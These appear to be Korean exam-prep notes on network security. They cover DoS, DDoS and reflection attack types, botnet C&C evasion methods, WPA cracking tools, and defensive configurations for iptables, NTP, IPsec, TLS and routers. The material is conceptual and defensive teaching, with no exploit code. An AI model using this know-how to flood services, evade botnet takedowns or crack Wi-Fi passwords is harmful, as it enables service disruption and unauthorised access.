컴퓨터의 자원을 고갈 시키기 위한 공격으로 특정 서비스를 계속적으로 호출하여 자원을 고갈 - 소프트웨어 취약점을 이용하는 공격과 패킷을 변조하여 공격하는 등 다양한 형태의 DoS 공격이 있음	
DoS 공격 분류	**설명**
Ping Of Death Attack	ping 명령을 통해 ICMP 패킷을 정상적인 크기보다 아주 크게 만들어 전송 - MTU 에 의해 다수의 IP 단편화가 발생하여 수신 측에서 단편화된 패킷을 재조합하는 과정에서 많은 부하가 발생
Ping Of Death Attack 대응방안	공격 탐지 : ICMP 패킷은 분할하지 않으므로 분할이 일어난 패킷을 공격으로 탐지
	보안 패치 : 대부분 시스템은 Ping Of Death 공격을 받을 때 ICMP 패킷을 무시함
Land Attack	출발지와 목적지 IP 가 같은 패킷을 만들어 공격 대상 시스템에 전송 - 수신자가 자기 자신에게 응답을 보내 무한 루프 상태에 빠지도록 하여 시스템 자원을 소모 시키는 형태
Land Attack 대응방안	보안 패치 : 대부분 시스템은 Land Attack 에 대한 보안 패치가 되어 있음
	보안 장비 : 패킷 필터링 장비를 통해 출발지 IP 와 목적지 IP 가 같으면 차단하도록 설정
Smurf Attack	출발지 IP 를 희생자의 IP 로 위조한 후 증폭 네트워크로 ICMP Echo Request 를 브로드캐스트 - 다수의 ICMP Echo Reply 패킷이 희생자에게 전달되어 서비스 거부를 유발 Directed Broadcast : 원격지 호스트 ID 비트를 모두 1 로 설정하여 브로드캐스트 전송 증폭 네트워크 : 희생자에게 다수의 증폭된 ICMP Echo Reply 를 전송하는 네트워크
Smurf Attack 대응방안	보안 장비 : 동일한 ICMP Echo Reply 패킷이 다량으로 발생하면 해당 패킷 모두 차단
	라우터 설정 : no ip directed-broadcast(증폭 네트워크로 사용되는 것을 방지)
	시스템 설정 : 브로드캐스트 전송된 ICMP Echo Request 메시지에 대해 응답하지 않도록 설정
Teardrop Attack	IP 패킷의 재조합 과정에서 조작된 단편의 오프셋 정보로 인해 수신시스템의 오류나 부하가 발생하도록 만드는 공격 - IP fragment offset 값을 서로 중첩되도록 조작하여 전송 Bonk 공격 : 처음 패킷을 1 번으로 보낸 후 다음 패킷을 보낼 때 순서번호를 모두 1 번으로 조작하여 전송 Boink 공격 : 처음 패킷을 1 번으로 보낸 후 다음 패킷을 100 번, 다음 패킷을 200 번 등 정상적으로 보내다가 중간에 패킷 순서번호를 비정상적인 상태로 전송
Teardrop Attack 대응방안	보안 패치 : 운영체제의 보안패치를 모두 적용하여 OS 의 취약점을 해소
단편 공격	Tiny Fragment(작은 단편) Attack 1. 첫 번째 단편 : 목적지 포트 없음 2. 두 번째 단편 : 목적지 포트 있음 3. 재조합 시 : 공격자가 원하는 목적지 포트 연결

	- 패킷 필터링 장비를 우회하여 허용하지 않는 공격 대상 시스템의 서비스에 접근하기 위한 공격으로 헤더를 작게 쪼개서 첫번째 단편에는 목적지 포트를 포함하지 않고 원하는 목적지 포트가 있는 두번째 단편을 통해 재조합 시 포트를 연결하도록 함
	Fragment Overlab(단편 중첩) Attack 1. 첫 번째 단편 : 허용 목적지 포트 2. 두 번째 단편 : 우회 목적지 포트(재조합 시 첫 번째 단편의 일부분을 덮어씀) 3. 재조합 시 : TCP 헤더가 중첩되어 공격자가 원하는 목적지 포트 연결 - 패킷 필터링 장비를 우회하여 허용하지 않는 공격 대상 시스템의 서비스에 접근하기 위한 공격으로 단편의 오프셋을 조작하여 허용 목적지 포트가 있는 첫번째 단편의 일부분을 우회 목적지 포트가 있는 두번째 단편이 덮어쓰도록 함
단편 공격 대응방안	우회 공격 탐지 : IP 단편 우회 공격의 탐지가 가능한 패킷 필터링 장비를 적용

DDoS	
분산된 다수의 좀비 PC 에 의해 공격대상 시스템의 서비스를 마비시키는 공격 공격자 : C&C 서버에 공격 명령을 전달하는 공격자의 컴퓨터 C&C 서버 : 공격자로부터 직접 공격 명령을 전달받아 다수의 좀비 PC 에게 전달 좀비 PC : C&C 서버로부터 전달받은 명령을 실행하여 공격대상에게 실제 공격을 수행 공격대상 : 공격의 대상이 되는 시스템 봇 : 보안상 결함을 이용해 원격에서 해당 시스템을 제어할 수 있는 프로그램 봇넷 : 봇에 감염된 다수의 좀비 PC 로 구성된 네트워크 - 봇넷 참여 좀비 PC 들이 C&C 서버에 접속하는 과정에서 C&C 서버 도메인이나 IP 주소 등이 알려지면 KISA 에서 C&C 서버 목록을 업데이트하므로 보안장비에 의해 탐지되지 않도록 하기 위한 다양한 보안장비 우회 기법들을 적용	
공격 도구	**설명**
트리누	많은 호스트로부터 통합된 UDP Flood 서비스거부 공격을 유발하는데 사용하는 도구 - 몇 개의 서버와 많은 수의 클라이언트로 이루어짐
TFN	트리누와 유사한 분산 서비스 거부 도구로 많은 소스에서 하나 혹은 여러개의 목표 시스템에 대해 서비스거부 공격을 수행 - UDP Flood 공격과 TCP SYN Flood 공격, ICMP echo 요청 공격, ICMP 브로드캐스트 공격을 할 수 있음
Stacheldraht	트리누와 TFN 을 참고하여 제작된 도구로서 이들이 갖고 있는 특성을 대부분 가지고 있는 도구 - 마스터 시스템 및 자동적으로 업데이트되는 에이전트 데몬과의 사이에 통신을 할 때 암호화하는 기능이 추가
TFN2K	TFN 의 발전된 형태로 통신에 특정 포트가 사용되지 않고 암호화되어 있고, 프로그램에 의해 UDP, TCP, ICMP 가 복합적으로 사용되며 포트도 임의로 결정 - 지정된 TCP 포트에 백도어를 실행시킬 수 있음
공격 절차	
1. C&C 서버 구축 : 공격자는 각 봇을 관리하고 명령을 내리는 C&C 서버를 구축	
2. 봇 배포 : 불특정 다수의 PC 에 봇을 배포하여 감염을 시도	

tistory.com

3. 봇 감염 : 사용자가 봇 프로그램을 실행하면 봇에 감염되어 봇넷의 일원으로 추가	
4. 명령 전달 : 공격자가 C&C 서버에 명령을 내리면 C&C 서버는 봇에 명령을 전달	
5. 공격 수행 : 봇은 명령에 따라 공격대상에게 다양한 공격을 수행	
봇넷 명령 제어 방식	**설명**
중앙 집중형 명령/제어 방식	참여 맴버들이 C&C 서버와 연결되어 명령을 수행 - 대표적인 중앙 집중형 명령/제어 방식 봇넷 유형으로 IPC, HTTP 등이 있음
분산형 명령/제어 방식	참여 맴버들이 모두 C&C 역할을 하여 그룹에 명령을 전파 - 대표적인 분산형 명령/제어 방식 봇넷 유형으로 P2P 등이 있음
봇넷의 보안장비 우회 기법	**설명**
Fast Flux 기법	하나의 C&C 서버 도메인에 다수의 IP 주소를 할당하여 DNS 질의 시마다 지속적으로 IP 주소가 변경되도록 하는 기법 도메인 질의 : 질의 시마다 도메인의 IP 주소가 변경
DGA 기법	약속된 규칙에 따라 C&C 도메인을 지속적으로 동적 생성하여 도메인 기반의 탐지 및 차단을 우회할 수 있는 기법 도메인 생성 : 생성될 수 있는 도메인 중 하나를 DNS 서버에 새롭게 등록
Domain Shadowing 기법	알려진 합법적인 도메인의 서브 도메인을 C&C 서브 도메인으로 사용하여 도메인 기반의 탐지 및 차단을 우회할 수 있는 기법 도메인 등록 : 합법적인 도메인에 여러 서브 도메인을 등록(DBD 경유지로도 사용)
DDoS 대응방안	**설명**
DDoS 예방대책	DDoS 대응 서비스 가입 : ISP 나 클라우드 서비스에서 제공하는 DDoS 방어 서비스를 이용, 사이버대피소 서비스를 이용
	백업 서버 구축 : 서버 장애를 대비하여 중요 서버들은 서로 다른 회선에 이중화 구성
	공격 대상 최소화 : 기업 내부용 서버는 외부에 노출되지 않도록 내부망으로 망 분리 조치 후 운영
DDoS 방어대책	DDoS 를 대응하기 위한 방어대책으로는 자체적으로 방어하는 방법과 DDoS 방어 서비스를 제공하는 업체를 이용하는 방법으로 나뉨 자체 방어준비 : TCP 기반 DDoS 방어, 이상 트래픽 모니터링, 화이트리스트 방식의 방화벽 설정, 서버 분산을 통한 가용성 확보 DDoS 대응서비스를 통한 방어 준비 : 전문 방어 서비스를 이용하는 프로세스를 수립하여 공격 발생 시 즉각 대응할 수 있도록 숙달
DDoS 공격 분류	**설명**
UDP/ICMP Flooding 공격	다량의 UDP 또는 ICMP 패킷을 서버로 전송하여 서버가 보유한 네트워크 대역폭을 소진시키는 공격 - 네트워크 대역폭 소진 공격에 해당
	1. 공격자가 출발지 IP 가 위조된 다량의 UDP/ICMP 패킷을 대상서버로 전송
	2. 대상서버는 대량의 트래픽이 발생하여 서비스가 불가한 상태
	3. 대상서버 접속이 원활하지 못하여 정상 클라이언트는 서비스를 이용할 수 없음

TCP SYN Flooding 공격	SYN 패킷을 서버로 전송하여 서버의 TCP 연결 자원을 소진시키는 공격 - 서버/서비스 자원 소진 공격에 해당
	1. 공격자는 출발지 IP 를 도달 불가능한 IP 로 위조한 SYN 요청을 대상서버에 전송
	2. 대상서버는 SYN+ACK 를 보내고 연결설정이 완료될 때까지 연결요청대기큐에 저장
	3. 연결요청대기큐가 꽉 차 더 이상 연결 요청을 받을 수 없는 상태
	4. 대상서버는 연결 요청을 받을 수 없어 정상 클라이언트는 서비스를 이용할 수 없음
TCP SYN Flooding 공격 대응방안	Syn Cookie 설정 : 서버가 적절한 ACK 를 받을 때까지 연결요청대기큐에 연결요청정보를 저장하지 않도록 함 - 리눅스에서 sysctl -w net.ipv4.tcp_syncookies=1 설정
	보안 장비 : 동일 클라이언트의 연결 요청에 대한 임계치 설정을 통해 과도한 연결 요청이 발생하는 것을 차단 - iptables -A INPUT -p tcp --dport 80 --syn -m connlimit --connlimit -above 5 -j DROP
	First SYN Drop 설정 : 연결 요청 패킷을 보내는 클라이언트가 실제 존재하는지를 확인
	연결요청대기큐 설정 : 연결요청대기큐의 크기를 1024 로 늘림 - 리눅스에서 sysctl -w net.ipv4.tcp_max_syn_backlog = 1024 설정
	대기 시간 설정 : SYN+ACK 에 대한 대기 시간을 줄임
HTTP GET Flooding 공격	동일한 주소에 대량의 GET 요청을 발생시켜 서버의 자원을 과도하게 사용하는 공격 - 서버/서비스 자원 소진 공격에 해당
	1. 공격자가 동일한 동적 컨텐츠에 대해 다량으로 HTTP GET 요청
	2. 대상서버는 해당 요청을 처리하기 위해 서버 자원을 과도하게 사용
	3. 클라이언트의 정상적인 요청을 처리하지 못함
Hulk DoS 공격	다량의 주소를 지속적으로 변경하여 GET 요청을 발생시켜 서버의 자원을 과도하게 사용하는 공격 - 서버/서비스 자원 소진 공격에 해당
	1. 공격자가 대상서버의 주소를 지속적으로 변경하면서 다량으로 GET 요청
	2. 특정 URL 임계치 기반의 장비는 서로 다른 주소로 인식하여 정상적인 차단이 불가능
	3. 대상서버는 해당 요청을 처리하기 위해 서버 자원을 과도하게 사용
	4. 클라이언트의 정상적인 요청을 처리하지 못함
Hash DoS 공격	해시테이블의 특성을 악용하여 조작된 대량의 파라미터를 POST 방식으로 서버에 전송하여 CPU 자원을 고갈시키는 공격 - 서버/서비스 자원 소진 공격에 해당
	1. 공격자는 조작된 많은 수의 파라미터를 POST 방식으로 대상서버로 전달
	2. 대상서버는 다수의 해시 충돌이 발생
	3. 정상적인 파라미터 조회 시 많은 CPU 자원을 소모
CC Attack	웹서버의 부하를 감소시키기 위해 캐싱서버를 운영하여 많은 요청을 받는 데이터를 웹서버가 아닌 캐싱 서버를 통해 응답하도록 구축하지만 캐시 옵션을 조작하여 캐싱서버의 기능을 무력화하여 웹서버의 자원을 소모시키는 공격

tishac.tistory.com

	- 서버/서비스 자원 소진 공격에 해당
	1. 공격자는 HTTP 메시지의 캐시 옵션을 조작
	2. 캐싱서버가 아닌 웹서버가 직접 처리하도록 유도
	3. 캐싱서버의 기능을 무력화하고 웹서버의 자원을 소모
Slow 계열 공격	Slow HTTP Header DoS 공격 : 조작된 헤더 정보로 웹서버가 헤더 정보를 구분할 수 없도록 하여 서버의 자원을 고갈시키는 공격 1. 공격자는 빈 라인을 전달하지 않고 지속적으로 천천히 불필요한 헤더 필드 정보를 전달 2. 대상서버는 요청 헤더부를 모두 수신할 때까지 연결 상태를 유지하면서 대기 3. 공격자는 대상서버와의 연결 상태를 지속 4. 대상서버의 연결 자원이 모두 소진되어 정상적인 요청을 받을 수 없는 상태
	Slow HTTP POST DoS 공격 : 서버로 전달할 대량의 데이터를 장시간에 걸쳐 분할 전송하여 서버의 자원을 고갈시키는 공격 1. 공격자는 Content-Length 를 비정상적으로 크게 설정한 후 매우 소량의 데이터를 지속적으로 천천히 전송 2. 대상서버는 content-Length 헤더 필드에 명시된 크기만큼 데이터를 모두 수신하기 위해 연결 상태를 유지하면서 대기 3. 공격자는 대상서버와의 연결 상태를 지속 4. 대상서버의 연결 자원이 모두 소진되어 정상적인 요청을 받을 수 없는 상태
	Slow HTTP Read DoS 공격 : TCP 윈도우 크기 및 데이터 처리율을 감소시킨 후 데이터를 송신하여 서버의 자원을 고갈시키는 공격 1. 공격자는 HTTP 요청을 보낸 후 window 크기를 0 으로 조작하여 지속적으로 전달 2. 대상서버는 요청에 대한 응답메시지를 전송하지 못하고 연결을 지속적으로 유지 3. 공격자는 대상서버와의 연결 상태를 지속 4. 대상서버의 연결 자원이 모두 소진되어 정상적인 요청을 받을 수 없는 상태
Slow 계열 공격 대응방안	동시 연결 설정 : 동일한 출발지 IP 에서 동시에 연결할 수 있는 연결 개수에 대한 임계치를 설정 - iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j DROP
	연결 타임아웃 설정 : 아무러 데이터 송수신 없이 세션을 유지하는 시간에 대한 타임아웃을 설정하여 연결을 종료 - /etc/httpd/conf/httpd.conf 파일에서 Timeout 120 설정

	읽기 타임아웃 설정 : 요청 헤더 정보와 요청 바디 정보가 특정 시간 이내에 모두 수신되지 않으면 오류 응답
	- /etc/httpd/conf/httpd.conf 파일에서
	`<IfModule reqtimeout_module>`
	`  RequestReadTimeout header=5 body=10`
	`</IfModule>`

DRDoS
공격자는 출발지 IP 를 공격대상 IP 로 위조하여 다수의 반사서버로 요청정보를 전송하면 공격대상은 반사서버로부터 다수의 응답을 받아 서비스 거부 상태가 되는 공격유형

tishadiary.com

TCP 의 연결설정과정의 취약점을 이용 : SYN+ACK 응답패킷 전송 ICMP 프로토콜의 Echo Request 와 Echo Reply 를 이용 : Echo Reply 전송 UDP 프로토콜을 사용하는 서비스를 이용 : 서버의 응답 패킷 전송	
일반적인 DoS 공격과의 차이	**설명**
반사 서버	직접 공격을 수행하는게 아니라 증폭 및 반사공격에 활용되는 서비스 이용
근원지 파악	출발지 IP 를 희생자 IP 로 위조하고 다수의 반사서버를 경유
트래픽 효율	요청 대비 응답이 크기 때문에 공격 트래픽 효율이 증가
DRDoS 대응방안	**설명**
패킷 필터링	위조된 패킷이 인입되지 않도록 ISP 가 직접 차단 - 주로 Ingress 필터링
시스템 설정	ICMP 등 서비스가 필요없는 시스템의 경우 해당 프로토콜을 차단
DRDoS 공격 분류	**설명**
NTP DRDoS 공격	NTP 서버의 monlist 명령을 이용하여 대규모 증폭, 반사 형태의 디도스 공격을 유발시킬 수 있는 취약점 - NTP 는 네트워크를 통해 컴퓨터 시스템 간 시간 동기화를 위해 사용하는 인터넷 프로토콜로 UDP 123 번 포트를 서비스 포트로 사용
	1. 출발지 IP 주소를 희생자 서버의 IP 로 패킷을 변조
	2. 취약한 다수의 NTP 서버를 대상으로 monlist 명령의 다수 질의를 전송
	3. 질의를 수신한 NTP 서버는 다수의 접속 호스트 정보를 담은 증폭된 결과를 변조된 출발지 IP 로 응답
	4. 희생자 서버는 증폭된 다수의 응답 수신으로 네트워크 대역이 소진되어 서비스 거부 상태
NTP DRDoS 공격 대응방안	취약한 NTP 데몬 서버 버전을 업그레이드 : ntpd --version 명령으로 확인
	설정 변경을 통하여 monlist 기능을 해제 : /etc/ntp.conf 파일에서 disable monlist 를 추가
	취약한 영향을 받는 서버인지 또는 적절하게 조치가 되어있는지 monlist 질의 요청을 통해 확인 - ntpdc -n -c monlist [점검 대상 NTP 서버]
	보안장비 : iptables -A -OUTPUT -p udp --sport 123 -m length --length 100: -j DROP
SSDP DRDoS 공격	SSDP 프로토콜을 악용하여 대규모 증폭, 반사 형태의 디도스 공격을 실행 - SSDP 는 네트워크상의 서비스나 정보를 검색하는 프로토콜로 프린터, 스캐너 등 다양한 IoT 기기의 네트워크 탐색 용도로 사용되며 UDP 1900 번 포트를 장비 검색 시 사용
	1. M-SEARCH 요청 패킷의 출발지 IP 를 희생자의 IP 주소로 변조
	2. SSDP 지원 IoT 기기로 요청 패킷을 전송
	3. IoT 기기는 트래픽 증폭 반사 역할을 하여 전송받은 패킷에 대한 대량의 응답 패킷을 생성
	4. 증폭된 대량의 응답 트래픽으로 인해 희생자의 네트워크 장비 및 호스트에 부하를 발생시켜 서비스 거부 상태

tishac.tistory.com

SSDP DRDoS 공격 대응방안	서비스 관리 : 업무에 불필요한 UDP 포트 차단 및 UDP 서비스를 중지
	보안장비 : 임계치 기반의 UDP 패킷 차단 정책을 적용

무선랜 크래킹	
무선랜 접속/인증 패스워드 크래킹에 사용되는 도구를 이용해 WPA_PSK 인증 패스워드를 크래킹 할 수 있음	
무선랜 크래킹 도구	**설명**
airmon-ng	무선랜 인터페이스를 모니터 모드로 전환시키는 프로그램
airdump-ng	무선 패킷을 수집하여 저장하는 프로그램
airplay-ng	무선 네트워크에 패킷을 삽입해주는 프로그램
airecap-ng	암호화된 패킷 덤프를 복사해주는 프로그램
aircrack-ng	패스워드를 크랙하여 크랙한 패스워드를 출력해주는 프로그램
iwconfig	
무선랜 인터페이스 정보를 확인하거나 환경 설정을 위해 사용하는 명령어 관리 모드 : 자신에게 전송되는 무선 패킷만을 수신하는 모드 모니터 모드 : promisc 모드와 동일하게 주변의 모든 무선 패킷을 수신하는 모드	

네트워크 보안

VLAN	
물리적인 선이 아닌 논리적으로 브로드캐스트 도메인을 나누기 위해 사용하는 기술 - 관리자가 서로 다른 논리적 그룹에 대하여 서로 다른 보안 정책을 사용할 수 있게 함	
VLAN 종류	**설명**
Port 기반 VLAN	스위치 포트를 각 VLAN 에 할당하여 같은 VLAN 에 속한 호스트들 간에만 통신
MAC 기반 VLAN	각 호스트의 MAC 을 VLAN 에 등록하여 같은 VLAN 에 속한 MAC 들 간에만 통신
Network 기반 VLAN	네트워크 주소별로 VLAN 을 구성하여 같은 네트워크에 속한 호스트들 간에만
Protocol 기반 VLAN	같은 통신 프로토콜을 가진 호스트들 간에만 통신

DNS 싱크홀
악성 봇에 감염된 PC 가 공격자의 명령을 받기 위해 C&C 서버로 연결을 시도할 때 C&C 서버 대신 싱크홀 서버로 우회시켜 조종 명령을 받지 않도록 해주는 서비스
동작 과정
1. C&C 서버 도메인이나 IP 주소 등이 알려지면 이를 통해 KISA 에서 C&C 서버목록 배포
2. 알려진 C&C 서버 목록을 DNS 싱크홀 적용기관의 DNS 서버에 주기적으로 업데이트
3. 좀비 PC 가 C&C 서버에 접속하는 과정에서 C&C 서버 도메인에 대한 질의를 수행
4. DNS 는 좀비 PC 에게 싱크홀 서버 IP 주소를 반환
5. 좀비 PC 는 C&C 서버가 아닌 싱크홀 서버로 접속하여 명령으로부터 피해 방지

VPN	
가상 사설망은 인터넷과 같은 공중망을 이용하여 사설망이 요구하는 서비스를 제공할 수 있도록 구축한 망으로 공중망 내에서 전용선처럼 사용하는 기술	
VPN 종류	**설명**
PPTP	마이크로소프트사가 설계한 프로토콜
L2F	시스코사에서 제안한 프로토콜
L2TP	마이크로소프트사와 시스코사에서 제안한 프로토콜
IPsec	IETF 에 의해 제안되어 VTP 구현에 가장 널리 사용되고 있는 프로토콜
VPN 기능	
터널링 프로토콜과 보안 과정을 거쳐 내부 기밀을 유지하여 보안성이 우수하고 외부로부터 안전하도록 주소 및 라우터 체계의 비공개와 데이터 암호화, 사용자 인증, 사용자 액세스 권한 및 제한의 기능을 제공 터널링 : 송신자와 수신자 사이의 전송로에 외부로부터의 침입을 막기 위한 파이프 페이로드 : 터널링되는 데이터를 페이로드라고 하며 페이로드는 캡슐화되어 전송	
VPN 구성형태	**설명**
Intranet VPN	기업 내부를 LAN 을 통해 연결하는데 사용하며 넓게는 지사까지 연결
Extranet VPN	고객사나 협력업체에게 Intranet 을 이용할 수 있도록 Intranet 을 확장한 개념
Remote Access VPN	재택 근무자나 원격 접속자는 무선 및 전화접속을 이용하여 ISP 의 NAS 에 접속
MPLS VPN	
MPLS 통신 네트워크를 이용하여 VPN 을 제공하는 서비스 - 다른 VPN 구조에 비하여 서비스 도입과 운영관리가 간단하고 편리	

IPsec	
IP 보안을 위하여 개방형 구조로 설계한 표준으로 IP 계층 보안에 대해서 안정적이고 표준화된 기초를 제공	
IPsec 보안 서비스	**설명**
기밀성	메시지가 도청되어도 그 내용은 알 수 없음을 보장
비연결형 무결성	메시지가 위/변조되지 않았음을 보장(메시지 인증코드)
송신처 인증	메시지가 올바른 송신처로부터 온 것임을 보장(메시지 인증 코드)
재전송 공격 방지	순서번호를 이용해 검증함으로써 재전송 공격을 방지(순서번호)
접근 제어	송수신 IP 패킷에 대한 시스템 접근을 제어(보안정책)
제한된 트래픽 흐름의 기밀성	원본 IP 헤더는 암호화되어 있기 때문에 기밀성을 보장 - ESP 에서 제공
IPsec 전송모드	
IP 헤더를 그대로 유지하고 IP 의 상위 프로토콜 데이터는 IPsec 으로 캡슐화하여 보호 - 종단 노드 구간에서 IP 패킷의 페이로드를 보호(IP-H 로 식별) IP-H 로 페이로드를 식별 <- [IP-H][IPsec-H][IP Payload][IPsec-T] -> IP 패킷의 페이로드를 보호	
IPsec 터널모드	

IP 패킷 전체를 보호하기 위해 IPsec 으로 캡슐화하고 전송에 필요한 전송구간 주소 정보를 담은 New IP 헤더를 추가 - 터널/보안 게이트웨이 구간에서 IP 패킷 전체를 보호(New IP-H 로 식별) New IP-H 로 페이로드를 식별 <- [New IP-H][IPsec-H][IP-H][IP Payload][IPsec-T] -> IP 패킷 전체를 보호	
IPsec 세부 프로토콜	**설명**
AH 프로토콜	메시지 인증 코드를 이용하여 인증과 송신처 인증을 제공해주는 프로토콜로 기밀성은 제공하지 않음
	AH 전송모드 : [IP-H][AH-H][IP Payload] - IP 헤더의 전송 중 변경 가능한 필드를 제외한 IP 패킷 전체를 인증
	AH 터널모드 : [New IP-H][AH-H][IP-H][IP Payload] - New IP 헤더의 전송 중 변경 가능한 필드를 제외한 New IP 패킷 전체를 인증
ESP 프로토콜	메시지 인증 코드와 암호화를 이용하여 인증과 송신처 인증 그리고 기밀성을 제공
	ESP 전송모드 : [IP-H][ESP-H][IP Payload][ESP-T][ESP Auth] - IP 페이로드와 ESP 트레일러를 암호화 - 암호화된 데이터와 ESP 헤더를 인증
	ESP 터널모드 : [New IP-H][ESP-H][IP-H][IP Payload][ESP-T][ESP Auth] - 원본 IP 패킷 전체와 ESP 트레일러를 암호화 - 암호화된 데이터와 ESP 헤더를 인증
인터넷 키 교환 프로토콜	
보안 관련 설정을 생성, 협상 및 관리하는 프로토콜로 500/udp 포트를 사용 IKE 1 단계 : IKE 2 단계에서 사용할 메시지를 어떻게 보호할 것인지를 협상하는 단계 IKE 2 단계 : 실직적인 데이터를 어떤 방식으로 보호할 것인지를 협상하는 단계	
보안연관(SA)	
둘 사이에 논리적인 연결 상태를 유지하는 동안 적용할 보안 설정 정보 일방향성 : A 와 B 가 송수신한다면 A->B 를 위한 보안연관과 B -> A 를 위한 보안연관 2 개가 필요 보안연관 데이터베이스(SAD) : 여러 보안연관을 저장해 놓은 데이터베이스	
보안정책(SP)	
패킷을 송수신하거나 수신했을 때 적용할 보안의 종류를 정의 하는 것 정책 종류 : IP 패킷을 허용, IP 패킷을 거부, IP 패킷을 보호(SAD 를 검색) 보안 정책 데이터베이스(SPD) : 보안 정책들을 저장해놓은 데이터베이스	

SSL/TLS	
클라이언트/서버 환경에서 TCP 기반의 어플리케이션에 대한 종단 간 보안 서비스를 제공하기 위해 만들어진 전송계층 보안 프로토콜	
보안 서비스	**설명**
기밀성	송수신 메시지 암호화를 통해 기밀성을 제공(대칭키 암호)
무결성	송수신 메시지의 위/변조를 확인할 수 있는 무결성을 제공(메시지 인증코드)
인증	서버/클라이언트 간 상호 인증을 수행(공개키 인증서)

lishanlishany.com

웹 보안 프로토콜 버전	설명
SSL 1.0	첫 번째 버전(다양한 보안 취약점이 존재
SSL 2.0	1995 년에 발표된 버전(여전히 많은 취약점이 존재)
SSL 3.0	1996 년에 발표된 버전(대표적으로 POODLE 및 DROWN 취약점이 알려짐)
TLS 1.0	1999 년에 발표된 버전(대표적으로 BEAST 및 CRIME 취약점이 알려짐)
TLS 1.1	2006 년에 발표된 버전(일부 취약점이 존재)
TLS 1.2	2008 년에 발표된 버전(효율적인 HandShake 를 가지고 있음)
TLS 1.3	2018 년에 발표된 버전(트래픽 정보의 기밀성을 유지하는 PFS 를 제공)
세부 프로토콜	**설명**
상위 계층	Handshake : 종단 간에 보안 파라미터를 협상
	Change Cipher Spec : 종단 간에 협상된 보안 파라미터를 이후부터 적용/변경함을 알림
	Alert : SSL/TLS 통신 과정에서 발생하는 오류를 통보
	Application Data : 어플리케이션 계층의 데이터를 전달
하위 계층	Record : 상위 계층에서 적용/변경된 보안 파라미터를 이용하여 실제 암호화/복호화, 무결성 보호, 압축/압축해제 등의 기능을 제공 데이터 송신 시 : 단편화 -> 압축 -> MAC 추가 -> 암호화 -> Record 헤더 추가 데이터 수신 시 : Record 헤더 제거 -> 복호화 -> MAC 확인 -> 압축해제 -> 재조합
SSL/TLS 상태 유지 프로토콜	
완전 협상을 통해 세션을 생성하고, 이 세션 정보를 공유하는 다수의 연결을 단축협상을 통해 생성 세션 상태 정보 : 양 종단 간에 완전 협상을 통해 생성되는 상태정보 연결 상태 정보 : 실제 통신이 이루어지는 단위로 단축 협상을 통해 생성되는 상태정보 사전 마스터 비밀 : 완전 협상을 통해 생성된 값 마스터 비밀 : 사전 마스터 비밀, 클라이언트/서버의 난수 값을 해시화한 값 키 블럭 : 단축 협상을 통해 주고받은 클라이언트/서버의 난수값과 마스터 비밀을 해시화한 값	
협상 과정	**설명**
완전 협상 과정	SSL/TLS 연결을 설정할 때 사용되는 기본적인 협상 방식
1. Client Hello : 지원 가능한 협상 방식 등을 서버에게 전달	
2. Server Hello : 사용할 협상 방식 등을 클라이언트에게 전달	
3. Server Certificate : 서버 인증서 목록을 클라이언트에게 전달(필요시)	
4. Server Key Exchange : 키 교환에 필요한 정보를 클라이언트에게 전달(필요시)	
5. Certificate Request : 클라이언트 인증을 위한 인증서를 요청(필요시)	
6. Server Hello Done : Server Hello 과정 종료를 클라이언트에게 알림	
7. Client Certificate : 클라이언트의 인증서 목록을 서버에게 전달(필요시)	
8. Client Key Exchange : 사전 마스터 비밀을 생성하여 서버에게 전달	
9. Certificate Verify : 보낸 인증서에 대한 개인키를 가지고 있음을 증명(필요시)	

10. Change Cipher Spec : 협상한 암호 명세를 이후부터 적용/변경함을 알림	
11. Finished : 협상 완료를 서버에 알림	
12. Change_Cipher_Sper : 협상한 암호 명세를 이후부터 적용/변경함을 알림	
13. Finished : 협상 완료를 클라이언트에 알림	
단축 협상 과정	이전에 이미 완전 협상 과정을 거친 SSL/TLS 세션을 다시 사용할 때 사용되는 협상 방식
1. Client Hello : 사용할 session id 와 client random 을 서버에게 전달	
2. Server Hello : server random 을 클라이언트에게 전달	
서버 개인키 노출 시 문제점	
1. 서버 공개키와 개인키를 이용하여 키 교환을 수행	
2. 공격자는 중간자 공격을 통해 트래픽을 가로챔	
3. 서버 개인키를 이용해 세션키/비밀키 및 송수신 데이터를 복호화	
순방향 비밀성(PFS)	
클라이언트 서버 간에 키 교환에 사용되는 서버 개인키가 노출되어도 이전 트래픽의 세션키/비밀키 기밀성은 그대로 유지되어 통신 내용을 알 수 없는 암호학적 성질 - 성능상의 이유로 DHE, ECDHE 관련 cipher suite 를 비활성화(RSA 에 비해 느림) - 다양한 DHE, ECDHE 관련 cipher suite 을 모두 지원하지 않음(브라우저 호환을 위해 RSA 방식의 키 교환과 함께 사용)	

tishac.tistory.com

라우터 보안	설명
라우터 패스워드 설정	재부팅이나 라우팅 등 라우터에서의 모든 명령어에 대해 수행이 가능한 관리자 모드로 변경할 때 사용하는 패스워드를 설정 enable password asd123 : 패스워드를 평문으로 저장 enable password-encryption : 평문 패스워드를 암호화(역함수 존재) enable secret asd123 : 패스워드를 암호화하여 저장(일방향 함수)
Standard access-list	패킷의 소스 IP 만으로 패킷을 허용하거나 차단할 수 있음 access-list [acl 번호] : umber 로 1~99 까지 사용
Extended access-list	패킷의 소스 IP 뿐만이 아니라 목적지 IP, 포트, 프로토콜 등을 이용하여 차단할 수 있어 좀 더 확장된 기능을 이용할 수 있음 access-list [acl 번호] : number 로 100~199 까지 사용
Filtering 유형	Ingress Filtering : 외부에서 내부 네트워크로 유입되는 패킷을 체크하여 허용하거나 차단하도록 필터링 - 패킷의 방향(내부로 들어오는 패킷의 출발지 IP)
	Egress Filtering : 내부에서 외부 네트워크로 나가는 패킷을 체크하여 허용하거나 차단하도록 필터링 - 패킷의 방향(외부로 나가는 패킷의 출발지 IP)
	BlackHole Filtering : 특정 IP 또는 IP 대역에 대하여 비정상적인 시도가 감지되었을 경우 가상의 쓰레기 인터페이스로 보내도록 함 interface null 0 : 가상의 인터페이스

	Unicast RPF Filtering 은 ip 또는 ip 대역을 지정하지 않고도 비정상 트래픽을 효율적으로 필터링 - 인터페이스를 통해 들어오는 패킷의 출발지 IP 에 대해 라우팅 테이블을 확인하여 들어온 인터페이스로 다시 나가는지 확인
콘솔, AUX, VTY 포트 패스워드 보안	콘솔 포트 패스워드를 설정하여 콘솔을 사용하여 일반 사용자가 라우터에 접근하는 것을 방지
	(config) # line console 0 (config-line) # login (config-line) # password cisco (config) # line vty 0 4 (config-line) # login (config-line) # password cisco
